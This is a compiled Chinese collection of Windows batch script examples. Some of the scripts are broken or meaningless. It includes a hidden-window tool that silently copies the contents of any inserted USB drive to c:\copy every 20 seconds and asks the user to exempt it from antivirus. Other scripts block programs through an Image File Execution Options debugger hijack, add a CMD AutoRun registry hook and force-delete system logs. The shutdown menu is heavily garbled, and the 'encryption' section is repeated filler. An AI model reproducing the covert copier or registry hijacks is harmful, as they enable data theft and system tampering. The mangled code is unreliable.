DOS批处理范例、常用网络命令
清除电脑垃圾的一个批处理.......................................................................................... 2利用批处理禁用(启用)组策略 ....................................................................................... 3计算字符串的长度批处理 ............................................................................................. 3批处理倒计时(全屏) ...................................................................................................... 5实现定时关机、注销、重启、锁定等功能.................................................................... 6判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制 .................................. 9用批处理实现禁止运行指定程序 ...............................................................................16为cmd设置密码的批处理 .........................................................................................19批处理加密 ................................................................................................................20DOS下常用网络相关命令解释...................................................................................23arp ..........................................................................................................................23finger ......................................................................................................................24netstat ....................................................................................................................26ping ........................................................................................................................26rcp ..........................................................................................................................28rexec .......................................................................................................................28route.......................................................................................................................29rsh ..........................................................................................................................30tftp .........................................................................................................................30tracert.....................................................................................................................31net ..........................................................................................................................31
(2)net user ...........................................................................................................32
(3)net use.............................................................................................................33
(4)net time...........................................................................................................33
(5)net start...........................................................................................................34
(6)net pause.........................................................................................................34
(7)net continue.....................................................................................................34
(8)net stop ...........................................................................................................34
(9)net statistics.....................................................................................................35
(10)net share........................................................................................................36
(11)net session .....................................................................................................36
(12)net send.........................................................................................................36
(13)net print.........................................................................................................37
(14)net name .......................................................................................................37
(15)net localgroup................................................................................................37
(16)net group.......................................................................................................38
(17)net file ...........................................................................................................38
(18)net config.......................................................................................................39
(19)net computer .................................................................................................39
(20)net accounts ..................................................................................................39清除电脑垃圾的一个批处理
在电脑屏幕的左下角按“开始→程序→附件→记事本”,把下面的文字复制进去(黑色部分),点“另存为”,路径选“桌面”,保存类型为“所有文件”,文件名为“清除系统LJ.bat”,就完成了。记住后缀名一定要是.bat,ok!你的垃圾清除器就这样制作成功了!
@echo off
echo 正在清除系统垃圾文件,请稍等......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清除系统LJ完成!
echo. & pause
利用批处理禁用(启用)组策略
regsvr32 /s /u gpedit.dll 禁用
regsvr32 /s gpedit.dll 启用
单单使用这命令依然可以禁止使用组策略,但这样导致的后果就是-
这时候运行的组策略基本上只是个空壳了!利用下面的批处理将完美解决此类问题! 将下面这些代码编成BAT批处理文件,这段是禁用组策略的命令
@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
exit
这是启用组策略
@echo off
regsvr32 /s fde.dll
regsvr32 /s gpedit.dll
regsvr32 /s gptext.dll
regsvr32 /s wsecedit.dll
exit
计算字符串的长度批处理
@echo off & setlocal EnableDelayedExpansion
:: 计算字符串的长度
::
::
:began
set mystr=
set /p mystr=输入要计算长度的字符串(直接回车退出):
if not defined mystr goto :eof
for /l %%i in (0,1,1000) do if "!mystr:~%%i,1!"=="" set strlen=%%i && goto :_endfor
::echo 字符串: "%mystr%"
echo长度: %strlen%
set strlen=
goto began
该方案的缺陷是:当字符串长度超过1000的时候,将不能探测到;不过变量能接收的长度好象还不能超过1000
另外一种方案:
@echo off
:: Based on willsort's codes code by JM 2006-10-9 CMD@XP
:: 出处:https://www.doczj.com/doc/831650195.html,/forum/viewthread.php?tid=19819
set mystr=
set /p mystr=输入要计算长度的字符串(直接回车退出):
if not defined mystr goto :eof
set count=0
setlocal enabledelayedexpansion
:intercept
set /a count+=1
for /f %%i in ("%count%") do if not "!mystr:~%%i,1!"=="" goto intercept
echo 长度: %count%
pause
goto :eof
@echo off
::
::
:began
set /p mystr=输入要计算长度的字符串:
echo %mystr:~0,1% | findstr /i "q" 1>nul 2>nul && exit rem 输入q退出
call :bflen "%mystr%" rem这两句调用bflen,返回长度到变量ret中。
echo 字符串: "%mystr%"
echo 长度: %ret%
goto began
:bflen rem 真麻烦,初始化要单独拿出来。
set num=
set ret=
set str=%1
:len rem 计算字符串长度
set str=%str:~0,-1%
set /a num = %num% + 1
if defined str goto len
set /a ret = %num% - 2
set num=
goto :eof
批处理倒计时(全屏)
@echo off
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
set all=20
:start
if "%all%"=="0" goto end
cls
set /a all=%all%-1
echo.
echo.
echo.
echo.
echo %all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%
echo %all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%
echo %all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%
echo %all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%
echo %all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%
echo %all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all%%all% echo wscript.sleep 500>>ri.vbs &call ri.vbs &del ri.vbs
goto start
:end
cls
echo The End
pause
实现定时关机、注销、重启、锁定等功能
@echo off
title greaterthanme-实现定时关机、注销、重启、锁定等功能。start
cls
color 1f
rem 使用color命令对控制台输出颜色进行更改
mode con cols=41 lines=18
rem mod e语句为设定窗体的宽和高
set tm1=%time~0,2%
set tm2=%time~3,2%
set tm3=%time~6,2%
echo %date% %tm1%点%tm2%分%tm3%秒
echo =========================================
echo 请选择要进行的操作,然后按回车
echo ———————————————
echo.
ech o 1. 定时关机
echo 2. 倒计时关机
echo 3. 删除定时关机任务
echo 4. 查看任务状态
echo 5. 刷新当前时间
echo 6. 重新启动
echo 7. 锁定计算机
echo 8. 注销
echo 9.退出
echo.cho
set choic e=
set p choice=选择
rem 设定变量choice为用户输入的字符
if not %choice%== set choice=%choice~0,1%
rem 如果输入大于1位,取第1位,比如输入132,则返回值为1
echo.
if i %choice%==1 goto sethour
if i %choice%==2 goto outtime
if i %choice%==3 goto delat
if i %choice%==4 goto view
if i %choice%==5 goto start
if i %choice%==6 goto restart
if i %choice%==7 goto lock
if i %choice%==8 goto logoff
if i %choice%==9 goto end
rem为避免出现返回值为空或含空格而导致程序异常,需在变量外另加双引号rem 注意,if语句需要双等于号
rem 如果输入的字符不是以上数字,将返回重新输入
echo 选择无效,请重新输入
echo.
goto chosethour
cls
echo.
set ask=
set p ask=是否设定为每天执行关机命令(yn)
if not %ask%== set ask=%ask~0,1%
if i %ask%==y goto yes
if i %ask%==n goto no
goto sethouryes
echo 请指定24小时制式时间,格式为小时分钟
set shutdowntime=
set p shutdowntime=输入
at %shutdowntime% everym,t,w,th,f,s,su tsshutdn 0 delay0 powerdown nul
rem 设定为每周的星期一至星期日,即为每天
if not errorlevel 1 goto ok
rem 如果输入正确,就执行ok段的语句
echo %shutdowntime% 不是标准的时间格式,请重新输入echo.
goto yesno
echo 请指定24小时制式时间,格式为小时分钟
set shutdowntime=
set p shutdowntime=输入
at %shutdowntime% tsshutdn 0 delay0 powerdown nul
if not errorlevel 1 goto ok
echo %shutdowntime% 不是标准的时间格式,请重新输入echo.
goto nook
echo.
set h=%shutdowntime~1,1%
set ah=%shutdowntime~0,1%
set am=%shutdowntime~2,2%
set bh=%shutdowntime~0,2%
set bm=%shutdowntime~3,2%
if %h%== (
set hm=%ah%时%am%分
) else (
set hm=%bh%时%bm%分)
rem 如果输入hmm则hm=h时mm分,否则hm=hh时mm分if i %ask%==y echo系统将于每天的%hm%关闭
if i %ask%==n echo 系统将于%hm%关闭
echo设定完毕! 按任意键继续...
pause nul
goto startouttime
cls
echo.
echo请输入倒计时秒数
echo ————————
echo (设定后要取消,单击确定后按ctrl+c键两次)
set timed=
set p timed=输入
tsshutdn %timed% delay0 powerdown nul
if not errorlevel 1 goto ok
echo %timed% 是无效的关机时间,请重新输入
echo.
goto outtimedelat
cls
echo.
at del y
echo定时关机任务已取消,按任意键继续...
pause nul
goto startview
mode con cols=85 lines=18
color 70
echo.
at
echo按任意键继续...
pause nul
goto startrestart
shutdown -r -t 0lock
rundll32.exe user32.dll,lockworkstation
goto startlogoff
logoffend
exit
判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制
@echo off
mode con: cols=80 lines=40
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo.
echo ==================================================================== echo.
echo.
echo 安装U盘自动复制
echo.
echo 欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo.
echo [1] 安装程序
echo [2] 运行程序
echo [3] 关闭程序
echo [4] 卸载程序
echo [5] 生成快捷方式
echo [6] 使用帮助
echo [7] X键关闭
echo.
echo.
echo.
echo 提示:如果你计算机安装有杀毒软件,请授权此VBS代码!
echo.
echo.
echo.
echo.
echo $$$ 晗晗制造,版本1.0 $$$
echo.
echo ==================================================================== echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto install
if /i %choice%==2 goto open
if /i %choice%==3 goto close
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto shutcut
if /i %choice%==6 goto help
if /i %choice%==x goto shut
goto start
:install
rem ==============================安装程序============================= if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
copy sleep.exe "%temp%\sleep.exe" >nul 2>nul
rem ==============================隐藏窗口============================= if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
echo.
echo 如果你计算机安装有杀毒软件,请授权此VBS代码
reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >"%temp%\hide.vbs"
echo ws.Run "%path%",0 >>%temp%\hide.vbs
rem ==============================建立终止============================= echo @echo off >%temp%\kill.cmd
echo mode con: cols=20 lines=2 >>%temp%\kill.cmd
echo echo 程序已经成功终止!>>%temp%\kill.cmd
echo pause ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill ping ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill xcopy ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill sleep ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill cmd ^>nul 2^>nul >>%temp%\kill.cmd
echo exit ^>nul 2^>nul >>%temp%\kill.cmd
rem ==============================建立快捷============================= :shutcut
echo.
if not exist "%temp%\hide.vbs" goto start
set path2=%temp%\hide.vbs
echo [InternetShortcut] >>U盘自动复制.url
echo URL="%path2%" >>U盘自动复制.url
echo IconIndex=29 >>U盘自动复制.url
echo IconFile=C:\windows\system32\shell32.dll >>U盘自动复制.url
set path3=%temp%\kill.cmd
echo [InternetShortcut] >>终止U盘自动复制.url
echo URL="%path3%" >>终止U盘自动复制.url
echo IconIndex=29 >>终止U盘自动复制.url
echo IconFile=C:\windows\system32\shell32.dll >>终止U盘自动复制.url
echo 成功结束!请直接运行快捷方式!
pause >nul 2>nul
goto start
rem ==============================安装结束============================= :uninstall
rem ==============================卸载程序============================= echo.
tskill ping >nul 2>nul
tskill xcopy >nul 2>nul
tskill sleep >nul 2>nul
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
del /Q /f "%temp%\sleep.exe" >nul 2>nul
del /Q /f "%temp%\kill.cmd" >nul 2>nul
del /Q /f U盘自动复制.url >nul 2>nul
del /Q /f 终止U盘自动复制.url >nul 2>nul
echo 程序已经成功卸载!
reg add "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg add "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
pause >nul 2>nul
goto start
rem ==============================卸载结束============================= :open
rem ==============================运行程序============================= echo.
if not exist %temp%\copy.cmd goto start
"%temp%\hide.vbs"
echo程序已经成功开始自运行(20秒扫描一次)!
pause >nul 2>nul
exit
rem ==============================运行结束=============================
:close
rem ==============================终止程序============================= echo.
if not exist %temp%\copy.cmd goto start
echo 程序已经成功结束自运行!
pause >nul 2>nul
tskill ping >nul 2>nul
tskill xcopy >nul 2>nul
tskill sleep >nul 2>nul
tskill cmd >nul 2>nul
exit
rem ==============================终止结束=============================
:help
rem ==============================使用帮助============================= cls
echo.
echo.
echo 本工具适用于Windows XPsp2系统,由此造成的一切损失,本人不负任何责任. echo.
echo.
echo 使用方法: 1 点击安装程序
echo.
echo 2 如果你计算机安装有杀毒软件,请授权此VBS代码
echo.
echo 3 第一次安装可能需要先运行,然后结束一次才能生效(视系统设臵而定) echo.
echo 4 安装后请用快捷方式启动或者关闭,无需用安装程序启动
echo.
echo 5 本程序可以在U盘插入前运行,也可以在插入后运行
echo.
echo 6 点击运行程序,程序将自动每20秒执行一次
echo.
echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘echo.
echo 8 请务必确认你要copy的U盘无毒
echo.
echo 9 本程序在扫描时比较占内存,建议每次使用后关闭
echo.
echo 10 建立的快捷方式,你可以改名并把它放在任何地方,包括启动菜单echo.
echo 11 请及时清理默认保存目录c:\copy文件夹里边的文件
echo.
echo 12 本软件不保证copy数据的正确性
echo.
echo 13 本软件不要使用于非法用途
echo.
echo.
echo 本软件为免费软件欢迎大家使用
echo.
echo 按任意键返回主菜单
pause >nul 2>nul
goto start
rem ==============================帮助结束=============================
:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================
copy.cmd
复制代码代码如下:
@echo off
title $$$$*晗*晗*制*造*$$$$
mode con: cols=14 lines=1
:again
cls
del /Q /f "%temp%\copy.tmp" >nul 2>nul
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp" findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem 没有检测到可移动磁盘!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
rem 已复制,请及时清理文件!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
用批处理实现禁止运行指定程序
@echo off
MODE con COLS=40 LINES=18
title禁止和解除指定程序运行--陈兵OO:286569692
:begin
setlocal ENABLEDELAYEDEXPANSION
cls
echo.
echo. ╭─────────╮
echo. ╭───┤选择如下操作├───╮
echo. │╰─────────╯│
echo. ││
echo. │A.添加要禁止的程序│
echo. ││
echo. │B.删除已禁止的程序│
echo. ││
echo. │C.查看全部禁止的程序│
echo. ││
echo. │Z.退出程序│
echo. ││
echo. ╰─────────────────╯
echo.
copy %systemdrive%\WINDOWS\jzcx %systemdrive%\WINDOWS\jzcx.txt>nul set /p enter= 请你输入你的选择:
if not "%enter%"=="" set enter=%enter:~0,1%
if /i "%enter%"=="A" goto jinzhiadd
if /i "%enter%"=="B" goto jinzhidel
if /i "%enter%"=="C" goto jinzhick
if /i "%enter%"=="Z" goto exit
goto begin
:jinzhiadd
cls
echo.
echo.
echo.输入要禁止的程序:按Y 返回菜单
echo.
set /p input=
if /i "%input%"=="Y" goto begin
echo %input%>>%systemdrive%\WINDOWS\jzcx.txt
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentV ersion\Image File Execution Options\%input%" /v debugger /t reg_sz /d debugfile.exe /f
echo.
echo. 成功添加要禁止的程序%input%
echo.
echo. 任意键,返回其他操作
copy %systemdrive%\WINDOWS\jzcx.txt %systemdrive%\WINDOWS\jzcx>nul
pause>nul
goto begin
:jinzhidel
cls
echo.
echo.
echo.
echo.
echo. 全部禁止的程序如下:
echo -------------------------------
echo.
type %systemdrive%\WINDOWS\jzcx.txt
echo.
echo -------------------------------
echo.
echo. 输入要删除的禁止程序: 按Y 返回菜单
echo.
set /p jinzhidel=
if /i "%jinzhidel%"=="Y" goto begin
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentV ersion\Image File Execution
Options\%jinzhidel%" /f
@for /f "tokens=* delims=" %%i in ('findstr /i /v /c:%jinzhidel% %systemdrive%\WINDOWS\jzcx.txt') do (
set var=%%i
echo !var!>>temp.txt
)
copy temp.txt %systemdrive%\WINDOWS\jzcx.txt>nul
del temp.txt
cls
echo.
echo.
echo.
echo.
echo.操作完成
echo.
echo.
echo. 任意键,返回其他操作
copy %systemdrive%\WINDOWS\jzcx.txt %systemdrive%\WINDOWS\jzcx>nul
pause>nul
goto begin
:jinzhick
cls
echo.
echo. 全部禁止的程序如下:
echo --------------------------------
echo.
type %systemdrive%\WINDOWS\jzcx.txt
echo.
echo --------------------------------
echo.
echo. 任意键返回其他操作
pause>nul
goto begin
为cmd设置密码的批处理
@echo off
if exist %windir%\fly.bat attrib -a -s -r -h %windir%\fly.bat
cls
title CMD 密码设臵
echo
=============================================================================== =
echo CMD 密码设臵
echo.
echo 默认密码为:123456
echo.
echo 如需更改请在下面输入你的密码,不更改直接回车.........
echo.
echo
=============================================================================== =
set paa=
set /p paa=请输入你的新密码:
if not defined paa call :paa
reg add "HKLM\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d %windir%\fly.bat /f >nul
echo ^@echo off >%windir%\fly.bat
echo ^cls >>%windir%\fly.bat
echo title CMD-Dos 验证............. >>%windir%\fly.bat
echo set n=3 >>%windir%\fly.bat
echo ^:start >>%windir%\fly.bat
echo ^cls >>%windir%\fly.bat
echo echo CMD-DOS地带>>%windir%\fly.bat
echo echo. >>%windir%\fly.bat
echo set pa= >>%windir%\fly.bat
echo set /p pa=请输入密码: >>%windir%\fly.bat
echo if /i "%%pa%%"=="%paa%" goto ok >>%windir%\fly.bat
echo set /a n-=1 >>%windir%\fly.bat
echo if "%%n%%"=="0" echo 密码错误...你没机会咯...^&ping 127.1 -n 2 ^>nul^&exit >>%windir%\fly.bat
echo echo 密码错误..你还有%%n%%机会^&ping 127.1 -n 2 ^>nul >>%windir%\fly.bat
echo goto start >>%windir%\fly.bat
echo ^:ok >>%windir%\fly.bat
echo ^cls >>%windir%\fly.bat
echo title 你可以正常使用CMD-Dos ............. >>%windir%\fly.bat
echo echo 欢迎进了CMD-DOS地带>>%windir%\fly.bat
echo cd /d c: >>%windir%\fly.bat
:stt
if not exist %windir%\fly.bat goto stt
attrib +a +s +r +h %windir%\fly.bat
cls
echo.
echo.
echo 设臵完毕.............你的密码为:%paa%
echo.
gpupdate /force >nul
echo 任意键退出....
pause>nul
exit
:paa
echo 你没有设臵密码..现起用默认密码..........
set paa=123456
goto :eof
批处理加密
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a % %a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %% a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a % %a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %% a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a